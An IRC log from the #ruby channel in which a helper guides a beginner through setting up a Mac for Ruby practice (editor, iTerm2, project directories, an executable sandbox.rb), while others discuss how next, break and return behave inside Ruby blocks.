<coca_rails> sorry about the newbie questions
lfox has quit [Quit: ZZZzzz…]
<DanBoy> what book are you reading?
enebo has quit [Quit: enebo]
<coca_rails> learn to program by chris pine
<coca_rails> i guess its good. but its kind of boring
<Mon_Ouie> Do you have any idea of something you'd like to program?
<coca_rails> i want something more in-depth if that makes sense.
<coca_rails> The examples are simple enough for me to understand but they dont go into detail about all the cool stuff you can do.
<Mon_Ouie> Having a pet project helps to go further once you got the basics
<DanBoy> gotta start from the bottom up dude
<banisterfiend> coca_rails for Mon_Ouie 's pet project, he wrote a game development library in C with ruby bindings
pwh_ has joined #ruby
RichardBaker has joined #ruby
<banisterfiend> ;)
lurch_ has left #ruby [#ruby]
<coca_rails> For example its like here is how you write your own method.. def repeat_boo boo puts boo * 2 end
<coca_rails> yaay
<coca_rails> next section.
simoz has quit [Ping timeout: 246 seconds]
simoz has joined #ruby
<coca_rails> i'm like... umm. okay so I GUESS you can do a lot more?
<coca_rails> lol
pwh has quit [Ping timeout: 240 seconds]
<DanBoy> thats as simple as it is tho
baordog has quit [Remote host closed the connection]
<DanBoy> fuck i forgot which book i started with ruby
<DanBoy> i think it was beginning ruby
<coca_rails> i mean..it's too simple though.
<DanBoy> your functions will get more complex
<DanBoy> oh
<DanBoy> i see what you want
<DanBoy> you want more detailed examples right?
b00stfr3ak has quit [Ping timeout: 264 seconds]
<DanBoy> from the book
<coca_rails> Yea, exactly.
<DanBoy> complex examples
bricker has quit [Read error: Connection reset by peer]
<coca_rails> I want to read something thats more detailed but not a book thats too fast
c0rn has joined #ruby
MrZYX is now known as MrZYX|off
<coca_rails> In other words.. if this book were filled with more examples (a bigger book) it would be great.
bradhe has quit [Remote host closed the connection]
<DanBoy> well you gotta start with basic stuff
<coca_rails> More examples that gradually introduced more complexity i mean
nari has joined #ruby
xk_id has joined #ruby
kofno has joined #ruby
bricker has joined #ruby
adambeynon has quit [Quit: Textual IRC Client: www.textualapp.com]
xk_id has quit [Max SendQ exceeded]
danshultz has joined #ruby
johnnyfuchs has quit [Quit: Leaving.]
<DanBoy> well
<DanBoy> just tough it out
<DanBoy> your next book will be more advanced
<DanBoy> i always created a sandbox.rb when i was reading a ruby book
xk_id has joined #ruby
pragmatism has quit [Quit: Leaving...]
jerius has quit []
<DanBoy> see something, code a little bit, end it with a exit(0) and repeat
<coca_rails> cool
<coca_rails> what is that exit(0)
<DanBoy> exits the app
xk_id has quit [Max SendQ exceeded]
<coca_rails> oh ok
<DanBoy> so you can write some code all in one file
<DanBoy> and after every example just end it with exit()
Jetchisel has joined #ruby
<coca_rails> ok
<DanBoy> so when you run it it won't continue with the hole file
<DanBoy> then after that little example write more
brennanMKE has quit [Remote host closed the connection]
<DanBoy> what OS/editor do you use?
brennanMKE has joined #ruby
<coca_rails> i just bought a mac yesterday
<coca_rails> i dont have an editor
<coca_rails> i mean an ide
<DanBoy> lots of people just use an editor and a terminal
<DanBoy> no ide
<coca_rails> i had rubymine before, i liked it
kreeves has joined #ruby
<coca_rails> that was on my windows machine
<DanBoy> i'd get sublime text 2, its free at the moment
<DanBoy> and make use of multiple desktops
danshultz has quit [Ping timeout: 272 seconds]
<coca_rails> Do you think its worth forking out the money for rubymine for a beginner
<DanBoy> so you can swipe between your editor to your terminal to run the code you just wrote
<DanBoy> just get sublime
shawnjgoff has quit [Ping timeout: 246 seconds]
<coca_rails> im afraid i'll get lost
hiyosi has joined #ruby
<coca_rails> i like how the ide's separate everything and make them visually easy to understand
sadleb has quit [Ping timeout: 246 seconds]
<coca_rails> and how you can run the code right there.
vlad_sta_ has quit [Remote host closed the connection]
<DanBoy> trust me, give sublime a chance
<coca_rails> is that unrealistic in the real world working as a dev for a compnay?
<DanBoy> you never used a terminal before?
narcan has joined #ruby
vlad_starkov has joined #ruby
c0rn has quit [Quit: Computer has gone to sleep.]
Methylated has joined #ruby
<coca_rails> i did use terminal
kenneth has quit [Quit: kenneth]
<coca_rails> thats how i installed rails
<coca_rails> i just dont like it.
<DanBoy> you used rvm?
plotter has joined #ruby
plotter has joined #ruby
plotter has quit [Changing host]
<coca_rails> i used something like rvm. i forgot what its called
atno has quit [Ping timeout: 264 seconds]
c0rn has joined #ruby
salientknight has joined #ruby
<DanBoy> i would setup your new box for coding
<coca_rails> ok so i just installed sublime
<waxjar> learning to use the terminal a little bit is really pretty useful
xk_id has joined #ruby
<coca_rails> how do i run the code
workmad3 has quit [Ping timeout: 256 seconds]
<salientknight> hi all is there a good rails channel?
Davey has quit [Quit: Computer has gone to sleep.]
<DanBoy> #rubyonrails
<salientknight> thanks
<DanBoy> ok
palms has quit [Ping timeout: 240 seconds]
<DanBoy> terminal is just the way you access your box
<coca_rails> yea. i know that
<DanBoy> if you had something.rb
atno has joined #ruby
<DanBoy> in the terminal type: ruby something.rb to run it
<coca_rails> I mean from within sublime, how do i execute the code to open in terminal?
<waxjar> you don't, you just open the terminal and run it
<DanBoy> terminal is another thing
<coca_rails> So basically I cant debug within sublime?
nonamehero has quit [Ping timeout: 245 seconds]
<DanBoy> coca_rails, do you know how setup multiple desktops on your mac
<DanBoy> three finger swipe upward will show you all your desktops
<coca_rails> mulitple desktops..no
tjbarber has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
<DanBoy> and three finger swipe left/right will switch between them
<DanBoy> so
<DanBoy> i'd setup one desktop for sublime
<DanBoy> one for the terminal
randomnick_ has joined #ruby
<DanBoy> one for whatever else
<DanBoy> like chrome or mail
<coca_rails> Hm. how do i do that
petey_ has quit [Ping timeout: 264 seconds]
<DanBoy> do a three finger up
<DanBoy> you'll see all of them
Methylated has quit [Ping timeout: 245 seconds]
<waxjar> swipe up with three fingers, mouse to the left and click the plus
<DanBoy> ya but you should have 4 going already
jonahR has quit [Quit: jonahR]
<coca_rails> No.
IceDragon has quit [Quit: Space~~~]
<DanBoy> what version are you using
<DanBoy> lion at least
<coca_rails> latest
<DanBoy> ?
<DanBoy> ok
<coca_rails> mavericks
<DanBoy> it should still work
<DanBoy> three finger swipe upward
pkrnj has quit [Quit: Computer has gone to sleep.]
<coca_rails> Yea it does work
<coca_rails> but one side showsme these gadgets
jkhwan has quit [Remote host closed the connection]
<coca_rails> the other side shows me chrome
<DanBoy> ya dont worry about that
<coca_rails> i dont know how to add another desktop
randomnick_ has quit [Read error: Connection reset by peer]
<DanBoy> how many do you see already
jkhwan has joined #ruby
b00stfr3ak has joined #ruby
<DanBoy> once you get your terminal setup fullscreen it will take its own desktop kind of
<DanBoy> same with sublime you want that full screen too
drumsrgr_ has quit [Remote host closed the connection]
<DanBoy> you'll get in the habit of swiping between desktops
<DanBoy> easy and fast
<coca_rails> Yay i got it!
randomnick_ has joined #ruby
tatsuya_o has quit [Remote host closed the connection]
drumsrgr8forn8 has joined #ruby
<DanBoy> ok
dma has joined #ruby
<DanBoy> now forget the terminal that came with the box
weeb1e has quit [Ping timeout: 252 seconds]
zipper has quit [Read error: Connection reset by peer]
dma is now known as Guest88469
valesk has joined #ruby
tatsuya_o has joined #ruby
<DanBoy> get this one
jkhwan_ has joined #ruby
jkhwan has quit [Read error: Connection reset by peer]
tjbarber has joined #ruby
spider-mario has quit [Remote host closed the connection]
xk_id has quit [Ping timeout: 256 seconds]
drumusician has quit [Ping timeout: 245 seconds]
randomnick_ has quit [Read error: Connection reset by peer]
kenneth has joined #ruby
_zxq9_ has quit [Quit: Konversation terminated!]
sambao21 has joined #ruby
butblack has quit [Quit: butblack]
pu22l3r has joined #ruby
kaspergrubbe has quit [Remote host closed the connection]
nonamehero has joined #ruby
kaspergrubbe has joined #ruby
osvico has quit [Ping timeout: 240 seconds]
randomnick_ has joined #ruby
<coca_rails> which one
drag00n has quit [Ping timeout: 246 seconds]
salientknight has quit [Remote host closed the connection]
timonv has joined #ruby
<coca_rails> yikes. i need to change the color of hyperlinks
shanlar has quit [Quit: Be back later]
drumsrgr8forn8 has quit [Ping timeout: 246 seconds]
ReachingFarr has quit [Ping timeout: 246 seconds]
<DanBoy> you can change the syntax highlighting
<waxjar> terminal.app is fine if you're not that much of a cli-pro, imo
tatsuya_o has quit [Ping timeout: 240 seconds]
osvico has joined #ruby
<coca_rails> i mean on limechat
<DanBoy> oh lol
xk_id has joined #ruby
<coca_rails> your hyperlink was the same color as the irc messages
<DanBoy> setup your desktop something like
<coca_rails> Do you know how i can change that in limechat?
<DanBoy> nawh sorry im on my linux box i use xchat
tomzx_mac has joined #ruby
<DanBoy> i have used limechat before tho
<coca_rails> cool
ehc has quit [Quit: ehc]
<coca_rails> i dont want to change the theme just the hyperlink color
dr_bob has quit [Quit: Tune in next week when you'll hear Dr. Bob say...]
<DanBoy> desktop should go like
boboc has joined #ruby
<DanBoy> main apps like chrome and mail -> sublime full screen -> terminal
boboc has quit [Remote host closed the connection]
timonv has quit [Ping timeout: 272 seconds]
funburn has joined #ruby
<DanBoy> blam you code some stuff and swipe over to the terminal and run it
<coca_rails> sweet.
Soda has quit [Remote host closed the connection]
c0rn_ has joined #ruby
osvico has quit [Ping timeout: 240 seconds]
<coca_rails> How do I keep other maximized screens (like if i Max chrome or safari to watch a video) from taking up another apps dedicated desktop
SHyx0rmZ has quit [Quit: ネウロイを負かさなきゃならないね]
<DanBoy> it should only be maxed out in that desktop
randomnick_ has quit [Read error: Connection reset by peer]
<DanBoy> it shouldn't affect the others
<coca_rails> Hm, when i maxed sublime it took its own desktop
valesk has quit [Quit: Leaving]
<DanBoy> ya
<coca_rails> and when i did that with terminal it did the same
<DanBoy> thats what its supposed to do
workmad3 has joined #ruby
<coca_rails> How many desktops can i have at once
<DanBoy> as many as you want
c0rn has quit [Ping timeout: 240 seconds]
<coca_rails> oh awesome
randomnick_ has joined #ruby
<DanBoy> hover your mouse in the upper right you'll see a + sign
nari has quit [Ping timeout: 245 seconds]
<DanBoy> ok so you got like
<DanBoy> core apps like mail/google-chrome -> sublime -> terminal
shanlar has joined #ruby
vlad_sta_ has joined #ruby
<coca_rails> nah
<coca_rails> dont see it
ffranz has quit [Quit: Leaving]
<DanBoy> three up will show you all of them
verto has quit [Ping timeout: 240 seconds]
<DanBoy> i was just saying thats how i set it up
Alina-malina has quit [Ping timeout: 272 seconds]
pdimitrov has quit [Read error: Operation timed out]
<coca_rails> i dont see the plus
pkrnj has joined #ruby
<DanBoy> oh
<coca_rails> Nvmd i see it now
<coca_rails> 3 up, then hover to the right..got it!
<DanBoy> ya it has to appear when you hover
mansi has joined #ruby
<coca_rails> sweet.
<coca_rails> How do i set that terminal you recommended as my default
<coca_rails> in place of the system terminal
minimus has quit [Ping timeout: 264 seconds]
bugsinlights has joined #ruby
<DanBoy> in your application list you'll see iterm2
<DanBoy> you didn't replace the terminal you got a better one
vlad_starkov has quit [Ping timeout: 240 seconds]
minimus has joined #ruby
shadoi has quit [Quit: Leaving.]
minimus is now known as Guest19106
shadoi has joined #ruby
<coca_rails> Should i change any settings to make iterm2 the default app for certain things?
<coca_rails> or something like that.
<DanBoy> no
freezey has quit [Remote host closed the connection]
<coca_rails> k
pr0ggie has quit [Ping timeout: 272 seconds]
freezey has joined #ruby
<DanBoy> but definitely drag that to your launch bar
adamnbowen has quit [Ping timeout: 240 seconds]
joevandyk has joined #ruby
joevandyk has left #ruby [#ruby]
randomnick_ has quit [Read error: Connection reset by peer]
fuhgeddaboudit has quit [Ping timeout: 248 seconds]
apeiros has quit [Remote host closed the connection]
<DanBoy> i would make a Projects directory in your home directory so you can keep track of them
dagnachew has joined #ruby
apeiros has joined #ruby
<DanBoy> then inside that make a directory for the book your reading and work out of that
randomnick_ has joined #ruby
randomnick_ has quit [Read error: Connection reset by peer]
aantix has joined #ruby
freezey has quit [Read error: Operation timed out]
randomnick_ has joined #ruby
tskogber1 has quit [Remote host closed the connection]
randomnick_ has quit [Read error: Connection reset by peer]
tskogberg has joined #ruby
maletor has quit [Quit: Computer has gone to sleep.]
<coca_rails> launch bar?
claymore has quit [Quit: Leaving]
<coca_rails> launch pad
weeb1e has joined #ruby
yfeldblum has joined #ruby
Davey has joined #ruby
<coca_rails> ?
randomnick_ has joined #ruby
randomnick_ has quit [Read error: Connection reset by peer]
dagnachew has quit [Read error: Connection reset by peer]
newbiehacker has joined #ruby
<coca_rails> DanBoy: do you mean the dock?
Guest88469 has quit [Remote host closed the connection]
tjbarber has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
iamjarvo has joined #ruby
larissa has joined #ruby
havenwood has joined #ruby
RORgasm has quit [Remote host closed the connection]
pwh_ has quit []
RORgasm has joined #ruby
b00stfr3ak has quit [Ping timeout: 245 seconds]
<DanBoy> ya the dock my bad
Mon_Ouie has quit [Ping timeout: 245 seconds]
pdimitrov has joined #ruby
pedda has joined #ruby
benwoody has quit [Quit: benwoody]
mikepack has quit [Remote host closed the connection]
pr0ggie has joined #ruby
lmickh has quit [Quit: lmickh]
yfeldblum has quit [Remote host closed the connection]
RORgasm has quit [Ping timeout: 246 seconds]
jeffreyio has joined #ruby
workmad3 has quit [Ping timeout: 272 seconds]
adjo has quit [Quit: leaving]
tatsuya_o has joined #ruby
<coca_rails> no prob man
<coca_rails> Thanks so much for your help
pyrac has quit [Quit: pyrac]
<coca_rails> Im like all set up now.
nucatus has quit [Ping timeout: 246 seconds]
<coca_rails> =)
finnomenon has quit [Ping timeout: 272 seconds]
<DanBoy> were you able to make that projects directory
preller has quit [Ping timeout: 245 seconds]
<coca_rails> Nah.
<coca_rails> mkdir right?
tatsuya_o has quit [Read error: Connection reset by peer]
kirun has quit [Quit: Client exiting]
Mon_Ouie has joined #ruby
tatsuya_o has joined #ruby
Andrevan has joined #ruby
<DanBoy> ya
jrhorn424 is now known as zz_jrhorn424
<DanBoy> so in your term
navyant24 has joined #ruby
<coca_rails> It says:mkdir: Projects: Operation not supported
<DanBoy> run
navyant24 has quit [Client Quit]
niklasb has joined #ruby
<DanBoy> cd ~ ; ls
<coca_rails> can i do it from iterm
<DanBoy> ya
<DanBoy> your supposed to
phantasm66 has joined #ruby
<DanBoy> ~ just means your home dir
preller has joined #ruby
phantasm66 has quit [Client Quit]
dv_ has quit [Ping timeout: 240 seconds]
<coca_rails> oh okay
yfeldblum has joined #ruby
pr0ggie has quit [Ping timeout: 245 seconds]
pdimitrov has quit [Ping timeout: 240 seconds]
<coca_rails> do you know why i cant see anything when i ls after i did cd ..
<coca_rails> cd ..
xk_id has quit [Ping timeout: 256 seconds]
<coca_rails> i cd'ed into the directory called home
<coca_rails> did ls.. couldnt see anything
butblack has joined #ruby
<coca_rails> is that a different home?
pr0ggie has joined #ruby
pdimitrov has joined #ruby
<DanBoy> under OSX it'll be /Users/YOU
<DanBoy> thats your home dir
Davey has quit [Quit: Computer has gone to sleep.]
<DanBoy> cd to it
<DanBoy> and run ls and lemme see
<coca_rails> i made the dir
dagnachew has joined #ruby
a1ph4g33k has quit [Quit: Leaving]
benwoody has joined #ruby
<coca_rails> but i did it differently the first time
iamjarvo has quit [Remote host closed the connection]
<DanBoy> paste me what ls ~ says
<coca_rails> i went to the directory with Application Network Users ... contained in it
iamjarvo has joined #ruby
<coca_rails> then i tried to cd home
<havenwood> coca_rails: echo "I'm '$(whoami)' and my home dir is '$HOME'."
<coca_rails> i hit ls there was nothing there.
finnomenon has joined #ruby
<coca_rails> but when i did what you said to do it worked
<havenwood> well $USER
endash_ has joined #ruby
baroquebobcat has quit [Quit: baroquebobcat]
xk_id has joined #ruby
<DanBoy> show me what "pwd" says
jrhe has quit [Quit: jrhe]
<coca_rails> heres a screen..
smlgs has joined #ruby
<havenwood> coca_rails: This isn't in Ruby. You should be `FileUtils.mkdir` and `Dir.pwd` :P
Deele has quit [Ping timeout: 260 seconds]
<DanBoy> in iterm2 your terminal you run these commands
pierrebonbon has joined #ruby
<coca_rails> It worked fine..
<coca_rails> im just wondering what that 'other' home folder is..
pdimitrov has quit [Ping timeout: 240 seconds]
<pierrebonbon> http://rubyonrailsapps.com/ | Nice or Ugly ?
pdimitrov has joined #ruby
endash_ has quit [Read error: Connection reset by peer]
pr0ggie has quit [Ping timeout: 272 seconds]
endash_ has joined #ruby
<DanBoy> your
jrhe has joined #ruby
<DanBoy> your at the root
pr0ggie has joined #ruby
<DanBoy> dont worry about that home
<DanBoy> your at / right now
<coca_rails> ok cool.
<coca_rails> Well, i created a folder called projects.
<DanBoy> your home dir is in /Users
taternuts has joined #ruby
<coca_rails> And i think it did it the way you wanted it right?
<DanBoy> in the root you did it?
<coca_rails> It's right there with Desktop Documents Downloads Dropbox Library Movies Music Pictures Public
<DanBoy> show me what ls ~ outputs
<coca_rails> It's right there with Desktop Documents Downloads Dropbox Library Movies Music Pictures Public
<DanBoy> ok
bigoldrock has quit [Remote host closed the connection]
<DanBoy> in your terminal cd ~/Projects
jonr22 has quit [Remote host closed the connection]
dagnachew has quit [Read error: Connection reset by peer]
jonr22 has joined #ruby
<coca_rails> havenwood: Makes sense now. thanks
<coca_rails> DanBoy: done
<DanBoy> then show me ls -al
derebos has joined #ruby
endash_ has quit [Client Quit]
dagnachew has joined #ruby
<coca_rails> total 0
<coca_rails> drwxr-xr-x 2 computer staff 68 Oct 30 19:26 .
<coca_rails> drwxr-xr-x+ 25 computer staff 850 Oct 30 19:26 ..’
<DanBoy> and run pwd and lemme see it plz
jalcine has quit [Excess Flood]
pierrebonbon has quit [Quit: Page closed]
|jemc| has quit [Ping timeout: 256 seconds]
<coca_rails> DanBoy: /Users/computer/Projects
<DanBoy> ok awesome
tvw has quit [Read error: Operation timed out]
<coca_rails> awesome!
jlast has joined #ruby
<DanBoy> now
<DanBoy> inside your projects directory
<DanBoy> your almost done :P
<coca_rails> ok
pr0ggie has quit [Ping timeout: 240 seconds]
sambao21 has quit [Quit: Computer has gone to sleep.]
<DanBoy> mkdir learn_to_program
jbpros has quit [Quit: jbpros]
<DanBoy> thats the name of the book right
pdimitrov has quit [Ping timeout: 272 seconds]
<coca_rails> directory created.
<coca_rails> yep, thats it
pr0ggie has joined #ruby
<derebos> i'm in a situation i can't write in code, there is foo = :hello, {:go => [{:still => {:close => :HERE}}]} , what is the best way to give a path of where you want to set foo value rather than :HERE inside this hash, hashes will be in this format
<DanBoy> cd into that new directory
nwertman_ has quit [Ping timeout: 245 seconds]
pdimitrov has joined #ruby
<derebos> what i want to do is : write a method which take a path of where should set value deeper inside in hash based on path
<derebos> ?
<derebos> should be generic method
maletor has joined #ruby
benzrf has joined #ruby
kenneth has quit [Quit: kenneth]
<benzrf> hi, im reading why's poignant guide, and i'm just wondering how next & break work in a block...
<benzrf> do they raise an exception?
<coca_rails> ok
<coca_rails> DanBoy: ok done
<DanBoy> ok
<coca_rails> DanBoy: youre the best!
<DanBoy> now you should setup a file for all your examples
<Eiam> where do any ruby contractors generally look for their next .. contract?
<DanBoy> run
<DanBoy> touch sandbox.rb
<coca_rails> what does touch do
<DanBoy> just creates a blank file
fredjean has quit [Quit: Computer has gone to sleep.]
pwh has joined #ruby
<coca_rails> ok.
<coca_rails> yea its created but it didnt open it
<benzrf> excuse me
<coca_rails> dont know if its supposed to
<DanBoy> ok now open it in sublime
<benzrf> but can somebody take a moment to answer me
<benzrf> >.>
<brisbin> benzrf: why do you think they raise an exception?
pr0ggie has quit [Ping timeout: 240 seconds]
<benzrf> idk, how else would they work?
<brisbin> forgive me, but why do you care? it'd be implementation specific anyway
benwoody has quit [Quit: benwoody]
Aryasam has quit [Ping timeout: 272 seconds]
<benzrf> I mean in blocks
tonni has joined #ruby
<benzrf> i.e. if I do 5.times {next if something}
pr0ggie has joined #ruby
pdimitrov has quit [Ping timeout: 272 seconds]
tsykoduk is now known as zz_tsykoduk
<brisbin> it moves to the next iteration if something is truthy
relix has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
<benzrf> yes...
<benzrf> how does next work here?
<DanBoy> lemme know when you open that file in sublime
bigoldrock has joined #ruby
swingha has quit [Ping timeout: 260 seconds]
pdimitrov has joined #ruby
<coca_rails> Done.
<DanBoy> ok
<brisbin> benzrf: you want to know the C it's implemented in?
jbpros has joined #ruby
<banisterfiend> benzrf they raise a kind of exception i think, but it's internal and hidden from ruby
<benzrf> brisbin: no
<banisterfiend> benzrf it's called a catch point iirc
<benzrf> how does the code in Fixnum#times or whatever tell that you did next
dma has joined #ruby
<benzrf> banisterfiend: ok thanks
<brisbin> it doesn't, ruby handles it
<banisterfiend> benzrf but it's an implementation detail
<banisterfiend> benzrf there's no form of 'exception' that you ever get to know/care about
<brisbin> Fixnum#times just handles the iterations
dma is now known as Guest13378
<banisterfiend> and other ruby implementations might work differently
<benzrf> so i couldnt write my own iterating thing that notices next or break?
<coca_rails> DanBoy: I have a question about the rubies i have installed
<DanBoy> add this at the top of the file
<benzrf> it's magic basically?
jlast has quit [Ping timeout: 272 seconds]
<DanBoy> #!/usr/bin/env ruby
<coca_rails> I'm new to the concept of multiple rubies.. and Im not sure which one I'm using / supposed to use / how to use another one?
<brisbin> benzrf: for the most part. it's a keyword and ruby handles skipping the iteration
<banisterfiend> benzrf yes, 'break', 'next', 'return', 'redo', etc are all magic as hell
<DanBoy> don't worry about that
<brisbin> Fixnum#times just handles the iterations
<coca_rails> ok
<coca_rails> done
<banisterfiend> benzrf 'break' in particular is really weird
<DanBoy> ok
<DanBoy> copy this in
<benzrf> banisterfiend: I mean though
<banisterfiend> 'next' is easy enough
<benzrf> you can't tell from ruby code if any were called from a block you ran
<DanBoy> and save the file
<DanBoy> its command -> s
<benzrf> they only work with the builtin block methods
<benzrf> ?
<DanBoy> to save
<brisbin> benzrf: def my_times; yield 1; yield 2; yield 3; end; my_times { |n| next if n == 2; puts n; } # works fine
<banisterfiend> benzrf no you can't
tonni_ has joined #ruby
kenneth has joined #ruby
<benzrf> ._.
snath has joined #ruby
<benzrf> brisbin: yes, but for example if I was making my own version of sort_by or something, I could not make next work right
divi has joined #ruby
<brisbin> what would "work right" mean in that scenario?
<banisterfiend> benzrf well, same as you can't detect if there's going to be a 'return' in another language that supports lambdas :)
<banisterfiend> just ruby has a bunch of other weird variations on 'return' ;)
<brisbin> sort_by's block has nothing to do with looping which is what next is for
<benzrf> oh wait
<benzrf> hm
<brisbin> i think you misunderstand higher order functions ;)
zarubin has quit [Ping timeout: 240 seconds]
<benzrf> ok
<benzrf> no I understand them
Aryasam has joined #ruby
<banisterfiend> benzrf all that next does is kills the block
tonni has quit [Ping timeout: 252 seconds]
<benzrf> ok right
* benzrf facepalms
<banisterfiend> stop execution of the block and returns to the caller of the block
<benzrf> I was thinking weirdly or something...
<benzrf> :|
swingha has joined #ruby
<benzrf> what about break>
<banisterfiend> break is way more fucked up
<banisterfiend> basically break not only stops execution of the block, it also stops execution of the method that called the block
<benzrf> can you detect a break?
dagnachew has quit [Read error: Connection reset by peer]
<brisbin> protip: next takes an argument which serves as the return value to the caller when the block's killed
<benzrf> oh ok
mrsolo has quit [Quit: This computer has gone to sleep]
vlad_starkov has joined #ruby
<benzrf> brisbin: so next is literally just return but for blocks?
<brisbin> banisterfiend: really? so it behaves like return?
<benzrf> or does return work in blocks?
<brisbin> return will exit the caller too
baroquebobcat has joined #ruby
<benzrf> ah, right
<benzrf> sorry, I know next to nothing about how blocks & such work in ruby
<benzrf> >.>
theoretick has quit [Quit: Textual IRC Client: www.textualapp.com]
<DanBoy> coca_rails, did you get that file saved?
<benzrf> so blocks exec with lexical scope, but behave like they are in the caller with regards to the stack?
tonni_ has quit [Ping timeout: 245 seconds]
<coca_rails> Sorry, yea i just did!
<banisterfiend> brisbin no return behaves differently
jkline has joined #ruby
<DanBoy> ok now in the terminal
<brisbin> banisterfiend: you're description of break sounded like return (i.e. it exits the calling method as well)
<brisbin> your*
<DanBoy> run this
<banisterfiend> brisbin return doesn't return from the method that called the block, it returns from the scope that the block closes over
<DanBoy> chmod +x sandbox.rb
<DanBoy> that makes it an executable file
<banisterfiend> brisbin return doesn't exist the calling method, it exists the method context that block closes over
<banisterfiend> exits*
<brisbin> banisterfiend: interesting difference there...
dagnachew has joined #ruby
<coca_rails> hmm
<coca_rails> Interested.
vlad_sta_ has quit [Ping timeout: 246 seconds]
<coca_rails> *interesting.
<benzrf> oh wait
jbpros has quit [Quit: jbpros]
<benzrf> so a block acts in every way as though it in the source?
<banisterfiend> brisbin yeah it's pretty interesting, basically break/return/next/redo are all head fucks if you think about them outside the context of simple iterators
jalcine has joined #ruby
<benzrf> ok, so break terminates the calling method
<benzrf> next terminates the block
<DanBoy> once you do that your 99% done
<brisbin> it's also hard to play with this in irb since it seems to behave differently there, at least in my attempts
<benzrf> return terminates the source method
<benzrf> w8
<coca_rails> Ok.
<benzrf> what if you pass a block out of a method, then try to use it , but it has return?
<benzrf> mindfuck
<banisterfiend> brisbin cool kids use pry :)
<banisterfiend> benzrf interesting question
<brisbin> same issue there, no?
<coca_rails> DanBoy: what does it mean now thats its an executable?
<benzrf> this is why I like python
<benzrf> >:C
<DanBoy> you can run it without having to do ruby sandbox.rb
<banisterfiend> benzrf basically it depends in the frame the block closed over is still on the call stack
<coca_rails> I understand the concept of executable in windows
<banisterfiend> if it's still on the call stack it'll return from it
<coca_rails> so how do i run it?
<benzrf> banisterfiend: urgh
<banisterfiend> otherwise it'll raise a LocalJumpError
<benzrf> ok
<DanBoy> you run it normally as any other command like ls
<banisterfiend> benzrf that's a serious edge case though, you won't encounter weird shit like that in practice
<DanBoy> once you chmod +x sandbox.rb
<DanBoy> then you can run it like this
<DanBoy> ./sandbox.rb
<benzrf> hn
<DanBoy> done
<coca_rails> whats the ./ mean
<DanBoy> current directory
<DanBoy> . is current, .. is previous
<banisterfiend> benzrf what language do u come from?
<coca_rails> it wont let me run it.
<coca_rails> im in the directory
<banisterfiend> brisbin no, it should work fine in pry (and also IRB i imagine)